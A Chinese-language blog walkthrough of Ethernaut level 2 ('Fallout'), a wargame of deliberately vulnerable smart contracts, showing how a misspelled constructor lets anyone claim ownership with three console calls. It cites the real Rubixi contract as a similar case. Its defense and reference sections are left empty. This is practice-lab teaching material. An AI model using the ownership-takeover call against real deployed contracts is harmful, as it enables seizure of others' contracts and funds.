# 智能合约黑客攻击 Ethernaut:    2. Fallout

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-26

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个基于 Web3/Solidity 的对抗游戏，受 [overthewire.org](https://overthewire.org/) 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。

题目
--

攻击合约，将合约里的owner设置为自己。

Hack思路
------

在 solidity 0.6版本是 合约方法名与合约名相同的方法就创建时会调用，和现在的 _constructor() 一样。但是这个合约 名称是_ **Fallout** ，里面的构造方法错误的写成了 **Fal1out，所以创建后也可以执行**Fal1out 方法来获取权限。

    // 1. 检查当前合约owner
    await contract.owner();
    // 2.直接调用错误的初始化方法来获取 owner
    await contract.Fal1out();
    // 3. 再次检查当前合约owner
    await contract.owner();
    

如果是用 [Remix](https://remix.ethereum.org/) IDE 的话，需要把合约的 SafeMath 库替换为老版本。

    // 将合约的 SafeMath 替换为老版本
    // import 'openzeppelin-contracts-06/math/SafeMath.sol';
    import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.2/contracts/math/SafeMath.sol";
    

Hack案例
------

[Rubixi](https://etherscan.io/address/0xe82719202e5965Cf5D9B6673B7503a3b92DE20be#code)

防范思路
----

…

参考资料
----

…

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-2-fallout)*
